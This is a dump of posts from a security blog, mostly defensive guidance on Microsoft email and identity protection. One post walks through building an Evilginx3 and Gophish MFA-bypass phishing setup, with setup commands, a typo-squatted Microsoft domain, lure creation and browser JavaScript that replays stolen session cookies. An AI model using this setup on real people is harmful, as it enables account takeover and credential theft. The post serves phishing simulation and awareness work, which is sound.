Minimal to no text (reducing signals for ML detection) Abuse of known brands Abuse of sending infrastructure known for sending legitimate emails A variety of social lures including 2 factor auth, document signing, and more Embedding QR codes in attachments How can Microsoft protect me from QR Code Phishing? Microsoft offers a wide array of options to (technically) protect yourself against QR Code Phishing. Ensure that you have at Defender for Office 365 P1/P2 licenses and Defender for Endpoint to make the most of the available features:\nMicrosoft Defender for Office 365 uses advanced technologies to detect and block QR code phishing attacks. Microsoft Defender for Endpoint on Android and iOS includes anti-phishing capabilities that apply to QR code phishing attacks, blocking phishing sites from being accessed. Microsoft Defender for Endpoint also provides protection against malware that may be downloaded or installed through the URL link. Microsoft Defender for Office 365 has recently also introduced several (new) capabilities to protect organizations against QR code phishing:\nAdvanced Image Extraction Technologies: Defender for Office 365 uses advanced image extraction technologies to detect QR codes in emails1. These technologies allow the system to extract URL metadata from a QR code and use this information for existing threat protection and filtering capabilities. Machine Learning Models: URLs extracted from QR codes are analyzed using machine learning models. These models check the reputation of the URLs and assess their potential threat level. Heuristics-Based Rules: Microsoft has developed heuristics-based rules that can quickly identify and block QR code phishing attempts. These rules were released within minutes, leading to approximately 1.5 million QR code phishing attempts blocked in email bodies per day. Combining Signals: Defender for Office 365 combines various signals, including QR code data, sender intelligence, message headers, content filtering, and recipient details, to identify malicious messages. https://techcommunity.microsoft.com/t5/microsoft-defender-for-office/protect-your-organizations-against-qr-code-phishing-with/ba-p/4007041\nBut wait? Is this all I can do? When it comes to QR Code Phishing, there’s more to consider (this is important, perhaps even more…). Let’s break this down into two parts:\nUser Awareness:\nAll forms of phishing start with awareness. Train your users to recognize QR Code Phishing attempts (also see Microsoft Attack Simulation). Help them understand when they encounter QR Code Phishing. XDR:\nQR Code Phishing aims to gain unauthorized access to an environment. Often, this involves Account Takeover (AiTM).12 Leveraging an Extended Detection and Response (XDR) solution allows you to detect, respond and disrupt effectively. Microsoft’s offerings, such as Identity Protection, Conditional Access, and Phishing Resistant MFA, play a crucial role in defending against these threats. For active hunting into QR Code Phishing Microsoft did a pretty good job on all the query’s and indicators you can use to get more understanding of what is going on in your own environment here: Hunting for QR Code AiTM ↩︎ Als see this new message from the 1st of april, which enriched possibilities to use identifiers to investigate, monitor alert or trigger automated investigations, hunt and remediate QR code based attacks more effectively and efficiently. ↩︎ ","date":"22 February 2024","externalUrl":null,"permalink":"/protecting-against-qr-code-phishing/","section":"All articles","summary":"","title":"Protecting against QR Code Phishing (Quishing)","type":"posts"},{"content":"I’ve been a user of Evilginx for quite a few years. It’s an awesome tool, very impressive in its functionality, and still a valid solution for capturing users and their tokens. All the credit goes to Kuba Gretzky for his impressive work on Evilginx2 and now Evilginx3.\nThat being said, I always find Evilginx great as a one-off solution, but what if you want to keep track of the emails that have been sent out? And want to import email templates with 1 click? Or when you want to use it as a social engineering toolkit? Compared to the Microsoft Attack Simulation, it only provides the ‘technique’ from a hacker perspective, but you might want to use it as a recurring campaign.\nSo there’s something more; that’s why I wanted to wrap this up with this blog because there’s a great solution for all these needs. It’s called Gophish, an open-source phishing framework designed for security professionals to conduct simulated phishing attacks, assess organizational vulnerabilities, and enhance cybersecurity awareness.\nBut first back to the basics…\nWhat is Evilginx? And how does it work? Evilginx3 is a sophisticated tool designed for phishing attacks and credential theft. It is an advanced and powerful man-in-the-middle (MITM) attack framework that specifically targets multifactor authentication (MFA) mechanisms. Developed by security researcher Kuba Gretzky, Evilginx3 is the successor to the original Evilginx tool, with enhanced features and capabilities.\nKey Features:\nMan-in-the-Middle (MITM) Attack: Evilginx operates as a MITM attack, intercepting communication between a user and a targeted service. This enables attackers to capture sensitive information, such as login credentials and session cookies, without the victim’s knowledge. Focus on Multifactor Authentication (MFA): One of the distinguishing features of Evilginx3 is its ability to bypass multifactor authentication (very often used with Microsoft environments). It effectively circumvents additional layers of security that typically require a secondary form of verification, allowing attackers to gain unauthorized access. Credential theft: Evilginx3 is particularly effective at stealing login credentials. By tricking users into interacting with a malicious site that appears legitimate, the tool captures sensitive data, including usernames and passwords, compromising the security of the targeted accounts. Phishing attacks: The tool is commonly used in phishing attacks where users are lured into providing their credentials on a fake website. Evilginx3 excels at creating convincing replicas of legitimate sites, making it challenging for users to distinguish between the authentic service and the malicious one. Advanced features: Evilginx3 comes with advanced features, including the ability to adapt to changes in the targeted website’s structure. This makes it resilient against security measures that organizations may put in place to detect and prevent phishing attacks. Security awareness and prevention: Understanding the capabilities of Evilginx3 is crucial for security awareness. Organizations should educate their users about the risks of phishing attacks and promote practices to identify and avoid falling victim to such tactics. Continuous updates: As a tool actively developed by the security community, Evilginx3 undergoes continuous updates and improvements. It is essential for security professionals and organizations to stay informed about the latest developments to enhance their defense strategies. With Evilginx3 there are plenty of new options and improvements compared to Evilginx2, which you can read here: https://breakdev.org/evilginx-3-0-evilginx-mastery/ (I also recommend taking the training the website offers you ^^).\nDownside they took the phishlets away from Github, so you might need to build phishlets yourself, but there’s a lot of documentation about this available on the internet (and doable :))\nAnd what about Gophish? Gophish is an open-source phishing framework that empowers security professionals and penetration testers to conduct simulated phishing attacks. Developed with ease of use and flexibility in mind, Gophish provides a platform for organizations to assess and improve their resilience against phishing threats.\nKey Features:\nUser-Friendly Interface: Gophish is renowned for its intuitive and user-friendly web-based interface. Its simplicity allows even those with limited technical expertise to create and manage phishing campaigns effectively. Campaign Customization: Security professionals can customize phishing campaigns based on their specific needs. Gophish supports the creation of realistic and targeted simulations, enabling organizations to test their defenses in a controlled environment. Template Library: The framework includes a comprehensive template library, offering a variety of pre-built email templates and landing pages. This feature streamlines the process of creating convincing phishing scenarios that closely mimic real-world attacks. Automated Campaigns: Gophish facilitates the automation of phishing campaigns, saving time and resources for security teams. Automation allows for the systematic testing of different attack vectors, ensuring a thorough assessment of an organization’s security posture. Credential Harvesting: Gophish enables the simulation of credential harvesting attacks, helping organizations identify vulnerabilities in their authentication processes. This is crucial for understanding the potential impact of successful phishing attempts. Reporting and Analytics: Detailed reporting and analytics features in Gophish provide valuable insights into the effectiveness of phishing campaigns. Security teams can analyze metrics such as open rates, click-through rates, and successful compromises to refine their security strategies. Use Cases:\nSecurity Awareness Training: Gophish is widely used for security awareness training programs. Simulated phishing campaigns help educate employees about the risks of phishing and reinforce good security practices. Penetration Testing: Security professionals leverage Gophish during penetration testing engagements to evaluate an organization’s susceptibility to phishing attacks. This assists in identifying and addressing vulnerabilities before malicious actors can exploit them. Policy Compliance: Gophish aids organizations in assessing their compliance with security policies and regulations. Regular phishing simulations assist in identifying areas that may require additional security measures. Awesome, so how does it work together? There are plenty of resources for Gophish and Evilginx3 on Youtube and Google, but if you want to combine these 2 solutions, there’s one great guy called fin3ss3g0d on Github, that did it already for you (called Evilgophish). He took his repo private since october, but I’m sure if you buy him a monthly sponsoring, he’ll offer your everything needed.\nInfrastructure layout here (credit: fin3ss3g0d):\nFirst of all, you need a domain (read this blog about domains here) and a VPS-server (might recommend something like DigitalOcean). I always take a the lastest Ubuntu version, as it’s compatible with the latest software. Setup the correct DNS server(s) in your VPS (otherwise this gives you a headache later on).\nGit clone this repo on your VPS https://github.com/fin3ss3g0d/evilgophish (still working tho – but he’s maintaining his repo/updates only for sponsors):\nAs soon as you have it cloned, go into the directory and start it by running: setup.sh (use your own domain, subdomains and redirect url like you can see down here)\nBash./setup.sh mircrosoftonline.nl \u0026#34;account accounts login logins\u0026#34; false https://portal.office.com true user_id false After running this command, you probably get a message that you needed to create a DNS entry for the Certbot, as that is being used to create certificates from LetsEncrypt. After creating the DNS entries, you must change the Apache conf file with the appropriate file paths with the Cert files (fullchain and key).\nRun Apache (if still erroring check journalctl -xe):\nBashsudo systemctl start apache2 When this is completed, the only thing you need to do is running the apps. I can recommend doing this by nohup or tmux, as you want to keep everything running after disconnecting your SSH-session(s):\nBash./gophish (from the gophish folder) ./evilfeed (from the evilfeed folder) ./evilginx3 -g ~/evilgophish/gophish/gophish.db -p ~/evilgophish/evilginx3/legacy_phishlets (from the evilginx folder) Configuring Evilginx3\nconfig domain \u0026lt;yourdomain\u0026gt; config ip \u0026lt;yourIP\u0026gt; blacklist unauth Before creating and enabling the phishlets and lures, make sure to have the correct DNS pointers in place, otherwise you’ll end up with 400 errors on the Certbot (and 429 errors when you try too many times and you’ll need to wait an hour because of the rate limiter ;-):\nphishlets hostname o365 \u0026lt;yourdomain\u0026gt; (be aware of the correct name of your phishlet) phishlets enable o3653 lures create o3653 lures edit 0 redirect_url https://portal.office.com lures get-url 0 Now, you’re fully setup and you received a lure, which you can use in Gophish (in my example it’s https://login.mircrosoftonline.nl/YDBFinIs)\nLogin for the first time in Gophish (by x.x.x.x:3333) and generate your own password (the temporary password was given you when you first started the Gophish app). If you can’t connect to the Gophish environment make sure to check the Gophish conf file and enter the correct IP of your VPS and restart the service):\nSetup the groups (contacts), sending profiles (can recommend Mailgun with DKIM, SPF etc.) and paste your first email template your want to use (I used a random Azure email I’ve received today in my example):\nStart your first campaign and enter the Evilginx lure URL you’ve received by configuring Evilginx3, select the contacts/groups, sending profile and you’re good to go:\nAfter clicking the “Profit” the email is being send out to your contact(s) and you can immediately start monitoring your campaign:\nFrom a receiving perspective, I’ve now got the email in my inbox. As you can see a legitimate email which contains a button with the lure URL behind, which I configured in Gophish:\nThe moment I click the URL, it pops out a browser session to the Evilginx3 lure/phishlet I created and shows a login screen, where I can enter my details:\nEnter password:\nAccept MFA:\nAnd I’m logged in to my tenant:\nFrom Gophish I can see a full timeline, with the timestamps I clicked, submitted data etc.:\nEvilginx3 shows me the lures being used and the credentials and WOW wtfbbqlulz the tokens:\nNice, cookie tokens intercepted… So when I check the sessions (in my case session ID 6) it shows the token:\nNow re-use that token, to login to my tenant without prompting a MFA, nor credentials. Do this by opening a new browser (use developer tools) and enter the following code an hit enter (paste the cookie output between the (‘[insert...here]‘):\nvar obj = JSON.parse(\u0026#39;[insert session cookie content here]\u0026#39;); for (let i = 0; i \u0026lt; 3; i++) { document.cookie= obj[i].name+\u0026#34;=\u0026#34;+obj[i].value+\u0026#34;; expires=Wed, 05 Aug 2040 23:00:00 UTC; path=/\u0026#34;; } Refresh the page:\nAnd you’re all set. Easy isn’t it? In another post I’ll dive in the techniques you can use to weaponize yourself against these AiTM-attacks (on Microsoft 365).\nIf you need to have some more information regarding Evilginx3 and/or Gophish check these resources:\nhttps://www.jackphilipbutton.com/post/how-to-protect-evilginx-using-cloudflare-and-html-obfuscation\nhttps://github.com/waelmas/frameless-bitb\nhttps://simplerhacking.medium.com/tutorial-phishlet-creation-for-evilginx3-modern-mfa-mitm-ransomware-phishing-engagements-276790d8c0e9\nhttps://github.com/simplerhacking/Evilginx3-Phishlets\nhttps://outpost24.com/blog/phishing-better-proxy-than-story/\nhttps://getgophish.com/documentation/\nDisclaimer: I’m not responsible for any damage or harm caused by using these products or information. Use it wisely. Also don’t bother checking the links used in my examples, domain has been reporting as phishing/abuse and was taken down within a few hours.\n","date":"12 February 2024","externalUrl":null,"permalink":"/aitm-mfa-phishing-attacks-evilginx3-gophish/","section":"All articles","summary":"","title":"AiTM / MFA phishing attacks with Evilginx3 and Gophish","type":"posts"},{"content":"As of Feb. 1, 2024, Google has announced that they are going to make some changes to their security guidelines in Gmail regarding email senders. How exactly they are going to implement this is not 100% clear yet because this policy only applies to companies that send more than 5,000 emails per day to Gmail.\nBut is this all of a sudden? And how does this affect other senders and recipients? Well, to be honest, this should have been in place already in your own environment for ages. With SPF, DKIM, and DMARC in place, you have standard hygiene established.\nRegardless of the great options Microsoft and Defender for Office 365 offers, you can’t go around this standard hygiene. Microsoft also changed their advisory this month, to configure DMARC more strict and on all the domains you own. Yay \\o/\nBut what does SPF, DKIM and DMARC mean and why do you need it? In an era where digital communication is integral to our personal and professional lives, ensuring the authenticity of emails is paramount. Email, being a ubiquitous form of communication, is susceptible to various forms of abuse, including phishing, spoofing, and unauthorized tampering. To counter these threats, three essential email authentication protocols – SPF (Sender Policy Framework), DKIM (DomainKeys Identified Mail), and DMARC (Domain-based Message Authentication, Reporting, and Conformance) – have emerged as indispensable tools for bolstering email security.\nSender Policy Framework (SPF): SPF addresses the challenge of email spoofing by allowing domain owners to specify which mail servers are authorized to send emails on behalf of their domain. By publishing SPF records in DNS, organizations ensure that receiving mail servers can verify the legitimacy of the sending server, mitigating the risk of fraudulent emails bearing their domain.\nDomainKeys Identified Mail (DKIM): DKIM adds a layer of integrity verification to emails by attaching a digital signature to the message. This signature, generated by the sending mail server’s private key, is verified by the recipient’s server using a public key published in DNS. DKIM ensures that the email has not been tampered with during transit and verifies the sender’s authenticity.\nDomain-based Message Authentication, Reporting, and Conformance (DMARC): DMARC builds upon SPF and DKIM, providing a comprehensive policy framework for email authentication. With DMARC, domain owners can specify how unauthenticated emails should be handled, whether to monitor, quarantine, or reject them. DMARC also facilitates the receipt of detailed reports, enabling organizations to analyze and fine-tune their email authentication practices.\nWhy it’s needed: The need for robust email authentication mechanisms is evident in the face of escalating cyber threats. Without SPF, DKIM, and DMARC, malicious actors can exploit vulnerabilities, impersonate legitimate entities, and compromise the integrity of email communication. Implementing these protocols collectively establishes a multi-layered defense against phishing attacks, safeguards against unauthorized email transmission, and fosters a more trustworthy email ecosystem.As organizations embrace these email authentication standards, they not only protect their own reputation but also contribute to the overall improvement of global email security. In an interconnected digital landscape, SPF, DKIM, and DMARC stand as essential guardians, working together to fortify the foundations of secure and authentic email communication.\nSo…. but how does it work? And what do I need to setup? SPF (Sender Policy Framework):\nPurpose: SPF is an email authentication protocol that helps prevent email spoofing and phishing by verifying that the sender’s email server is authorized to send emails on behalf of a specific domain. How it Works: When an email is sent, the receiving mail server checks the SPF record of the sender’s domain. The SPF record is a DNS (Domain Name System) record that specifies which mail servers are authorized to send emails on behalf of the domain. If the sending mail server is listed in the SPF record, the email is considered authentic; otherwise, it may be marked as suspicious or rejected. Implementation: Domain owners publish SPF records in their DNS settings. SPF records include information about the authorized mail servers and their IP addresses. Example SPF Record: v=spf1 mx ip4:192.168.1.1 include:_spf.example.com -all This record allows the domain’s MX servers, the specific IP address 192.168.1.1, and the servers listed in the _spf.example.com domain to send emails on behalf of the domain. For M365 the default SPF will be \u0026gt; include:spf.protection.outlook.com. DKIM (DomainKeys Identified Mail):\nPurpose: DKIM is an email authentication method that adds a digital signature to the email message, allowing the recipient to verify that the email has not been tampered with during transit and that it was actually sent by the claimed sender. How it Works: The sending mail server generates a unique signature for each outgoing email using a private key. This signature is added to the email header as a DKIM-Signature field. The recipient’s mail server can then use the public key (published in the DNS) to verify the authenticity of the signature. Implementation: Domain owners generate key pairs (public and private) for DKIM (as for M365 you can find your DKIM keys here: https://security.microsoft.com/authentication \u0026gt; make sure to fix your SPF, DKIM and DMARC for every domain you own) The public key is added to the DNS as a TXT record. Example DKIM-Signature Field: YAMLDKIM-Signature: v=1; a=rsa-sha256; d=example.com; s=selector; c=relaxed/simple; q=dns/txt; i=@example.com; t=1234567890; h=From:To:Subject:Date; bh=dahf1aJS6wLfW1zrV9j9q1ZZlaM=; b=d2k1TWAx1fvmB7Lc8d5vdoE2Yp0/uHb5p/hS9KVoTZv+uEv/YUkth8UgM R2Y2jhmtIkNvZ2i2Lxi0I3mLpHnSv9F2kK2+8SkH3FZwb/DcPCxhV+d3lE== This is a simplified example of a DKIM-Signature field, and it includes information about the cryptographic algorithm, the domain, the selector, and the signature itself.\nDMARC (Domain-based Message Authentication, Reporting, and Conformance):\nPurpose: DMARC builds on SPF and DKIM to provide a policy framework for email authentication. It helps domain owners specify what actions to take on unauthenticated emails and allows them to receive reports on email authentication activity. How it Works: DMARC records are published in DNS and specify the policy for handling unauthenticated emails. DMARC policy options include monitoring (reporting only), quarantine (put in spam/junk folder), and reject (do not deliver). DMARC relies on the alignment of SPF and DKIM with the “From” address in the email header. Implementation: Domain owners publish DMARC records in their DNS settings Example DMARC Record: v=DMARC1; p=quarantine; rua=mailto:dmarc@example.com; ruf=mailto:dmarc@example.com This DMARC record specifies a policy of quarantine for unauthenticated emails and instructs the recipient’s mail server to send aggregate reports (rua) and forensic reports (ruf) to the specified email address. Please check Valimail if you’re in the need of a good DMARC reporting tool (https://www.valimail.com) Overall Workflow:\nSPF verifies the sender’s server. DKIM verifies the integrity of the email’s content. DMARC evaluates the alignment of SPF and DKIM, and based on the specified policy, takes action on unauthenticated emails. By implementing SPF, DKIM, and DMARC together, organizations can significantly enhance email security, reduce the risk of phishing attacks, and provide a more trustworthy email environment. Regular monitoring and analysis of DMARC reports can also help organizations fine-tune their email authentication settings and identify potential issues.\n","date":"17 January 2024","externalUrl":null,"permalink":"/spf-dkim-and-dmarc/","section":"All articles","summary":"","title":"SPF, DKIM and DMARC","type":"posts"},{"content":"When it gets to know your environment, I always want to know who added admin roles to a user account. At least, I like to know who added which user to an admin role.\nBut…\nIn LogAnalytics you’ll find AuditLogs, but what to do you need to check? Do I find PIM activations interesting? Probably not. Do I want to all see PIM elevations? Maybe.\nWhat I do find interesting in specific is the behaviour of adding user accounts outside PIM and who added a possible eligibility/assignment of an admin role to one of the users.\nBut looking up that information might end you up frustrated with a lot of information you will never use in any case.\nMost of the time I use a KQL query that looks up the 2 mentioned scenarios in 1 query. With this query you can create alerts in LogAnalytics to monitor the behaviour:\nWho added an admin role outside PIM? (users with a name “admin”) Who added an eligibility of an admin role in PIM? KQLAuditLogs | where (OperationName contains \u0026#34;Add member to role\u0026#34; and TargetResources contains \u0026#34;admin\u0026#34; and Identity \u0026lt;\u0026gt; \u0026#34;MS-PIM\u0026#34; and LoggedByService \u0026lt;\u0026gt; \u0026#34;PIM\u0026#34;) or (OperationName contains \u0026#34;Add eligible member to role in PIM requested\u0026#34; and TargetResources contains \u0026#34;admin\u0026#34;) In case you have specific users with the name “admin” you can also workaround this by using the following query, that will only target by roles explicitly:\nKQLAuditLogs | where role contains \u0026#34;Administrator\u0026#34; and (where (OperationName contains \u0026#34;Add member to role\u0026#34; and Identity \u0026lt;\u0026gt; \u0026#34;MS-PIM\u0026#34; and LoggedByService \u0026lt;\u0026gt; \u0026#34;PIM\u0026#34;) or (OperationName contains \u0026#34;Add eligible member to role in PIM requested\u0026#34;)) If you use Sentinel, you’ll see some of the available analytics rules that will do the same for you, but as in my case, not every customer uses Sentinel.\nAnd we DO want to know what is going on in the customer environment 😉\n","date":"28 December 2023","externalUrl":null,"permalink":"/monitoring-admin-roles-in-loganalytics/","section":"All articles","summary":"","title":"Monitoring admin roles in LogAnalytics","type":"posts"},{"content":"Recently I came across a new feature, that is kinda welcome as a basic Sentinel user. Normally we automate things through BICEP or DevOps, but now this can be done on a MSSP-based way of working in the portal (together with Lighthouse).\nThe feature is called Workspace Manager and can be found in the settings / settings in your Sentinel Workspace. You’ll have to keep in mind that you need at least one Sentinel that will run as parent workspace:\nFollowing can be automated and deployed through the group/workspace members:\nAnalytics rules Automation rules (excluding Playbooks) Parsers, Saved Searches and Functions Hunting and Livestream queries Workbooks By enabling the parent workspace, you can easily deploy all above to all member workspaces. First add the members:\nCreate a group:\nAdd the member to your group:\nChoose the data you want to update or create (sync):\nThe sync will run and you can check status here (I selected no content in my test tenant / screenshot tho – but you select everything there):\nMore information regarding this feature here: https://learn.microsoft.com/en-us/azure/sentinel/workspace-manager\n","date":"24 December 2023","externalUrl":null,"permalink":"/manage-microsoft-sentinel-with-workspace-manager/","section":"All articles","summary":"","title":"Manage Microsoft Sentinel with Workspace Manager","type":"posts"},{"content":"If you’re into Microsoft Sentinel I can really recommend you buy the book from Rod Trent called “Must Learn KQL”. Recently bought the paperback and it’s a nice book to have in pocket if you need a swiss knife into KQL.\nKQL is a language that will become more- and more important if you’re working from Sentinel and it’s services. Do not hesistate to check out the Github as well, you can even take an assessment after reading the book.\nIt covers all the important topics on KQL, see here:\nMust Learn KQL Part 1: Tools and Resources Must Learn KQL Part 2: Just Above Sea Level Must Learn KQL Part 3: Workflow Must Learn KQL Part 4: Search for Fun and Profit Must Learn KQL Part 5: Turn Search into Workflow Must Learn KQL Part 6: Interface Intimacy Must Learn KQL Part 7: Schema Talk Must Learn KQL Part 8: The Where Operator Must Learn KQL Part 9: The Limit/Take Operators Must Learn KQL Part 10: The Count Operator Must Learn KQL Part 11: The Summarize Operator Must Learn KQL Part 12: The Render Operator (with Bin and Time) Must Learn KQL Part 13: The Extend Operator Must Learn KQL Part 14: The Project Operator Must Learn KQL Part 15: The Distinct Operator Must Learn KQL Part 16: The Order/Sort and Top Operators Must Learn KQL Part 17: The Let Statement Must Learn KQL Part 18: The Union Operator Must Learn KQL Part 19: The Join Operator Must Learn KQL Part 20: Building your first Microsoft Sentinel Analytics Rule Check the book out here: https://amzn.to/39maJSX\n","date":"11 December 2023","externalUrl":null,"permalink":"/must-learn-kql/","section":"All articles","summary":"","title":"Must Learn KQL","type":"posts"},{"content":"For a while, I managed several tech blogs, but due to time constraints, I had to let them go. Now, I’m eager to set one up again, focusing primarily on security. It won’t be your typical website; rather, it’ll incorporate more modern security elements. I’m particularly enthusiastic about the current Microsoft ecosystem, so expect posts covering Microsoft Defender XDR, Sentinel and related topics. Additionally, I’ll delve into important CVEs and other areas of personal interest.\nP.S. I post under my own title.\n","date":"1 December 2023","externalUrl":null,"permalink":"/new-website/","section":"All articles","summary":"","title":"New website","type":"posts"},{"content":"","externalUrl":null,"permalink":"/microsoft-defender-for-cloud/","section":"All topics","summary":"","title":"Microsoft Defender for Cloud","type":"categories"},{"content":"","externalUrl":null,"permalink":"/modern-workplace/","section":"All topics","summary":"","title":"Modern Workplace","type":"categories"},{"content":"","externalUrl":null,"permalink":"/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"}]